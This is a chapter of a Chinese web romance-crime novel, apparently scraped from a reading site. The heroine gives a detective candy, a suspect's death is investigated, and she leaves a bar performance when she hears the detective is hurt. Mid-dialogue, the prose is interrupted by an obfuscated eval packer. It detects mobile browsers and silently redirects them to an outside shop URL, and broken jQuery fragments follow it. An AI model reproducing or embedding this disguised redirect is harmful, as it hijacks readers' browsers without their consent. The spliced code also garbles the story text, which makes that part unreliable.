文趣网 > 其他小说 > 藏雨 > 14. 藏不住
    “啊?”林听雨怔了一下。

    “啊什么?”谢言珩给她解释,“你是现场目击者,加上还送她去了医院,算半个当事人,我告诉你,没关系。”

    这样的吗?

    林听雨哦了声。

    怕耽误工作,谢言珩吃的很快,收拾好,他走到了玄关处换鞋。

    林听雨看去,注意到了他空荡荡的双手,若有所思地,离开了座位。

    玄关处。

    谢言珩换好鞋,轻轻打开门。

    正欲往外走。

    忽然,身后传来一道清甜的女嗓——

    “等下。”

    他脚步一顿,回身望去。

    林听雨趿着拖鞋,从客厅小跑而来,手里提了一个透明的塑料袋。距离近些,能看清,里面装着几盒药。

    “你把这个忘了。”她把袋子递到他眼前,碎碎念道,“虽然你是有工作,但叔叔阿姨那边你也要记得说一声。他们很关心你,别让他们担心。”

    她一副老成的样子,像居委会主任。

    谢言珩觉得好笑,接过袋子,拖腔应:“知道了,你怎么那么喜欢当大人?”

    “没办法,谁让我比较懂事呢。”林听雨微叹,语气松懒,还自带三分惆怅,“不像有些人,年纪那么大了,还总让叔叔阿姨操心。”

    年纪、那么、大了。

    谢言珩抵牙轻笑,慢腾腾地回敬:“是,你懂事。懂事到拉着我半夜三更聊感情问题。”

    over。

    林听雨被堵得哑口无言,她恼羞成怒地伸手推着他往外走:“你不是有事吗?快走快走。”

    一直把谢言珩推到门外,她才停手,“我要睡觉了,再见!”

    话落,她毫不留情地关了门。

    砰一声。

    屋外静了一瞬,随即传来拖鞋的沙沙声,由近及远,而后是细微的上楼声,到最后什么也听不见了。

    谢言珩站在原地,不自觉笑了笑,低头看向手里的塑料袋。

    院子里亮着一盏白灯,微暗的光落在塑料袋上,折射出了几缕,不属于袋面本身的彩光。

    谢言珩微微眯起眼,抬手。

    视线和袋子持平的同时,他眸光略顿。

    袋底躺着几颗水果硬糖,镭射的包装。

    旁边,还有一张纸条。

    显然不是药物的说明书。

    他解开袋子,拿出。

    上面是少女娟秀又带着几分可爱的字体:

    【借你几颗糖,苦了吃,不用谢。】

    月光绵软,云层悠悠漂浮在深蓝色的天幕中。晚风拂过院角的绿叶,沙沙声漫入耳畔。

    谢言珩凝着上面的一行字,唇边漾开一抹浅淡的笑意。

    过了许久,他才走出院子,抬眼望向二楼。

    一扇窗内,暖黄的灯光依旧亮着。

    他仰头,对着窗,低声轻语:“回来再还你吧。”

    -

    老人离世的消息,医院按照流程,一并通知了周浩。

    周强作为肇事逃逸的第一嫌疑人,保险受益资格直接被取消;而周浩作为第二受益人,顺理成章地成为了全额赔付的对象。

    一切都看起来合情合理。

    可又处处透着不对劲。

    谢言珩把整条线索在脑子里翻来覆去地捋了好几遍,越想越觉得蹊跷。

    他决定再去找一趟周浩。

    开车到周浩家时,谢言珩敲了好几次门,里面始终无人应答。最后他问了邻居,才得知周浩一大早就出了门,具体去哪儿,没人说得清。

    与此同时,邓泽楷的电话打了过来。

    “出事了。”

    ……

    赶到农山村第二个山头的公路时,周围已经拉起了警戒线,数辆警车停靠在路边,警灯静静回旋。

    谢言珩戴好手套,弯腰穿过警戒线,走进现场。

    面前,周强背着一个军绿色的背包,倒在公路旁的石砖上,头部有明显的撞击伤,血迹已经干涸发暗。露出的手臂上还有不少枝条的擦伤,纵横交错。

    从表象判断,很像是失足从山坡滚落,最终失血过多身亡。

    “谁报的警?”谢言珩问。

    邓泽楷:“今早有个老人上山采茶叶时发现的。”

    谢言珩蹲下身:“能初步确定死亡时间吗?”

    法医正在检查尸体,闻言答到:“从尸僵状态来看,大约在五到六个小时之前,也就是早上八点左右。”

    “八点?”

    “嗯。”

    谢言珩眸色微沉:“我今天早上去周浩家,邻居说,他也是早上出的门。”

    邓泽楷眼神一凛,读懂了他话里的意思:“你是说……”

    谢言珩没有再说下去,目光沉沉落在周强的尸体上。

    片刻后,他站起身,简短道:“先回队里。”

    ……

    这次尸检谢言珩也全程参与了。

    和之前在案发现场粗略看到的不同,褪去衣物后,周强身上布满了大大小小的淤青。从形状来判断,是钝器击打或拳脚造成的伤痕,新旧不一,遍布在躯干和四肢上。其中好几处淤青范围很大,色泽深紫,显然是近期留下的。

    法医将尸体翻成俯卧。

    周强后背还有大片摩擦伤,表皮缺损严重,创面边缘凹凸不齐,裸露出鲜红的皮肉。

    上面好像粘着些什么。

    谢言珩俯身细看:“这些是什么?”

    法医捏起镊子,从背部创口夹出一些细碎的组织残留物,放到托盘里。

    观察了片刻,她说:“从背部的伤口形态来判断,死者生前大概率被人用力摁在树上,所以伤口内才会有树皮组织的残留物。从创面破坏程度来看,对方力气很大。”

    谢言珩沉默地听着,心里有了答案。

    走出解剖室时,邓泽楷也正好查到了今早周浩的行踪轨迹。和那天周强骑车肇事逃逸的路径几乎一致。

    但结果也一样。

    进入农山村的范围后,周浩便消失了踪迹。

    “通知地方警局,全面搜寻周浩的下落。”谢言珩冷声。

    李泽瑞领了指令,快步走出了办公室。

    屋子里只剩下邓泽楷和谢言珩两个人。

    邓泽楷靠在桌沿,思索着开口:“谢言珩,我有一点不明白。你说,周浩为什么要杀他呢?”

    谢言珩侧目,眼神沉敛却锐利:“如果,我说,从一开始,肇事的人就不止周强一个呢?”

    -

    转日,气温三十二度,艳阳天。

    相比于周强,周浩对农山村一带的监控分布并不熟悉。早上十点,便有附近村民和沿途监控拍到了他的行踪。市刑侦大队全员出动缉拿,气氛好似台风来临前的环流,山雨欲来。

    城市的另一端,却是一派松弛闲适。

    汽车穿过安福路,停在了一家新开业的清吧门口。

    名字叫Vesper。

    门面不大,藏在两棵法国梧桐之间。

    要不是乔恬发来定位,林听雨估计路过十次都不会注意到这里。

    店内整体是落日般暖橙的色调。进门映入眼帘的是一座人造海景,上方悬着一轮落日,氛围偏暖,店里放着舒缓的音乐。

    新开业,白天来的人也很多。

    乔恬看到她,起身,挥了挥手:“听听,这儿!”

    林听雨莞尔一笑,朝她走去。

    红色短裙随步伐摇曳,大波浪,颈间挂着一条珍珠项链,明艳张扬,风掠过,一缕浅淡的玫瑰香气自她身上漫开。

    每次跟林听雨出来,乔恬都觉得她是要去参加时装周。

    而且仔细看就会发现,她脸上的妆容其实不浓,只是因为长了一张浓颜系的脸,随便勾勒几笔便显得勾人心魄。

    偏偏气质又是清甜那一挂的。

    极致的碰撞。

    融合成一种很难让人移开眼的吸引力。

    绕过拐角,林听雨才看清桌上一共坐了四人。

    两个男生,两个女生。

    除了乔恬之外,还有另一个女生。

    林听雨也不扭捏,向来乐于交新朋友,还没走到位子前,她先大大方方开口道歉:“sorry啊,今天路上有点堵车,来晚了。”

    视线微转间。

    她撞上了一道清冽沉静的目光。

    笑容在嘴角凝固。

    郑书言也在。

    她居然把这件事忘了。

    乔恬是她的僚机,基本上每次出来聚会,乔恬都会让同为僚机的周予安顺带约上郑书言,这几乎成了她们之间心照不宣的默契。

    可自从那件事之后,她已经有好一阵子没见过郑书言了,以至于最近两次听说要聚会,脑子里压根没把他算进去。

    两个人都沉默地对视了一瞬,时间很短,短到在旁人看来只是一个普通的抬眼。

    但足够让林听雨的心跳乱掉半拍。

    乔恬笑着:“小问题啦,快坐吧,我给你点了一杯你最爱的白葡萄酒。”

    林听雨想谢谢她的细心。

    可目光落到座位上时,她一时谢不出来了。

    五个位子,周予安和那个陌生女生坐在一起,乔恬自己占了一个单人位。

    如今只有郑书言旁边还空着一个。

    还真是……周到啊。

    乔恬不知道他们之间发生的事。

    而且,看郑书言的表情,好像,那件事在他那里已经是过去式了。

    那她也假装不知道好了,林听雨想。

    她敛好情绪,笑着走到郑书言旁边落座。

    周予安打趣道:“我说林听雨,你最近都在干嘛?我听乔恬说,一直约你你都没空。”

    “养伤啊。”

    林听雨没有隐瞒这件事。

    甚至在心里,还藏着一个非常幼稚的念头——

    如果郑书言知道了,会不会有一点点内疚呢。

    “你受伤啦?”乔恬微微一惊。

    几人纷纷看去。

    包括郑书言。

    林听雨余光注意到了。

    她暗自庆幸,好在痂脱落之后痕迹不算太明显,而且她不是留疤体质。昏黄的灯光下,膝盖处那一点疤痕在短裙下若隐若现,难以看出。

    “我跟你们讲,”林听雨骄傲道,“这个,可是我见义勇为的标志。”

    “你上哪儿见义勇为去了?”周予安笑着问。

    林听雨轻描淡写:“某个雨天,碰到了一场车祸,结果救人太着急,自己摔了一跤。”

    几人热聊着。

    林听雨也聊得很开心,但因为之前那件事,此刻坐在郑书言旁边,她还是多多少少带着一点拘谨。

    而且。

    他怎么都不说话。

    有点小生气地,她抿了一口白葡萄酒。

    无法否认。

    她还是喜欢郑书言。

    喜欢这种东西真的很难戒。

    而且她又是忘性很大的人,如今唯一会疼的脚伤已经好了,她几乎快要忘记当时那种难过的感觉了。

    伤口一旦愈合,疼痛的记忆也就跟着模糊了。

    更重要的是。

    那么久没见,他怎么还变帅了?!

    真是受不了了。

    放下酒杯,她欲开口说话,先应付一下旁边周予安的玩笑。

    身侧忽然传来一道冷冷淡淡的男声:

    “疼吗?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887814|212619||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    她一怔。

    心跳开始加速。

    好几秒后,林听雨才转过眼去看他:“什么?”

    她其实听见了,但她以为自己听错了,毕竟这里真的很吵。

    郑书言重复了一遍,甚至,更详细了:“脚伤,疼吗?”

    林听雨实话实说:“当时……挺疼的,现在不疼了。”

    “是那天吗?”

    “……嗯。”

    “对不起。”郑书言低低地说了一声。

    “你不是已经道过歉了吗?”

    他缄默下来,不知在思忖什么。

    林听雨想,既然她已经不在意了,那也不想让他继续惦记着这件事。

    她主动开口:“所以,你那天,是真的碰到了很重要的事情,对吗?”

    “嗯。”

    “那不就好了。”

    “什么?”

    “你又不是故意的,你只是因为有很重要的事情,不得不去。”

    林听雨想起谢言珩那天晚上跟自己说的那三种可能。

    除了第一种,第二种和第三种,她都能理解。

    不能否认谢言珩说得有道理。

    但也不能否认,郑书言本就不是那种愿意对任何人吐露心声的人。

    每个人的性格都不一样,她不能拿同一把尺子去量所有人。

    “不过,”她正视着他,认真说,“我那天,的确有点不开心。不过,不是因为你来不了,而是因为你给我发的那两条信息。如果还有下次,你发语音吧。”

    “文字是冷冰冰的,但你不是。”

    既然不想说是什么事,那就让我知道你的情绪。

    “所以,”她眼尾弯起,“作为上次失约的代价,我想让你答应我,好吗?”

    对视着。

    郑书言耳边,周遭人声鼎沸的背景音像是忽然被人调低了音量。

    他知道自己无法拒绝。

    “好。”

    他答应她。

    林听雨笑得很开心,眼眸透亮,颊边漾开两汪浅浅的酒窝。她端起酒杯又喝了一小口,白葡萄酒在舌尖上微微发酸,但回甘很甜。

    音乐声还在继续。

    其余几个人见这一幕,听不清他们在说什么,只以为林听雨有了什么新的进展,都不好意思打扰,只是八卦地多看了几眼。

    ……

    又聊了一会儿,郑书言去了后台。

    林听雨这才听他说,他在这家酒吧当驻唱。

    音乐生,尤其是音乐表演专业的学生,很多都在酒吧兼职驻唱,倒也不算稀奇。

    和学校里一样。

    郑书言一上台,所有视线好似都有了焦点,聚落于他身。

    而他的焦点,从始至终,只落在林听雨一个人身上。

    这家酒吧和别处不同的是,每次驻唱到了尾声,歌手可以现场点一位观众,说出她想听的歌。

    台下许多人纷纷举手。

    林听雨也不例外,她的手举得高高的。

    郑书言看着那只手,忽然想起期末考试那天,少女替他解围的模样。即便林听雨刚才说了那番话,但在他心里,对她的歉疚依然没有完全消散。

    他想弥补,想让她开心。

    “林听雨。”

    少年低润的声线透过扩音麦,漫过整座酒吧。

    林听雨高举的手颤了颤。

    “想听什么?”他问。

    大脑停机了一拍。

    知道有这个环节后,林听雨还特意拿出手机翻了半天歌单,可现在一紧张,全忘了。

    众人的视线随着台上的少年都落在了林听雨身上。隔着暖橙色的灯光,她脸颊泛起一层淡淡的绯红。

    紧急之间,她脑海里忽然闪过前几天刷视频时经常听到的一段BGM。

    ——《爱情讯息》

    她想起了里面的两句歌词:

    ——虽然人们总说爱情会让人受伤。

    ——但我想,我会让自己更坚强吧。

    心里有了主意。

    她唇瓣轻启,歌名报出的同时,轻快的伴奏声随之响起。

    这首歌原唱是女生。

    男生唱女生的歌,需要一定的技巧和情感投入。

    这方面郑书言很擅长。

    他唱得很好,嗓音低润又富有质感。

    这是郑书言第一次给她唱歌,史诗级突破。

    林听雨想举起手机记录下来。

    相机界面刚点开,一通电话突兀地弹到屏幕顶端。

    是谢阿姨打来的。

    她不得不先放下手机,接起电话。

    不属于酒吧氛围的焦急声音从听筒里传来。这里太吵了,她有些听不清,连忙把音量调到最大,最后一句终于清晰地撞进耳朵:

    “听听啊,今天你自己在家里点点儿吃的啊。你言珩哥哥出事儿了,我和你谢叔叔得去趟医院。有什么事情,你给我们打电话啊。”

    耳边嗡的一声,林听雨失去了所有反应。

    台上,郑书言的歌声还在继续。

    她手蜷了蜷,指甲嵌进指腹,微微的刺痛顺着指尖蔓延上来。挣扎了几秒,身体先于心一步做出反应,她站起身。

    动作不大,但在那一桌格外明显。

    周围,乔恬和周予安一愣,以为她激动坏了。

    周予安笑道:“喂,林听雨,你不会现在要上去表白吧?”

    乔恬在旁边起哄:“听听,我支持你哦!!”

    只有台上的郑书言,注意到了少女翕动的唇瓣,在对他说三个字。

    ——对不起。

    爱情讯息还在继续。

    但,点歌的少女却在他的注视下,匆匆朝着门口跑去。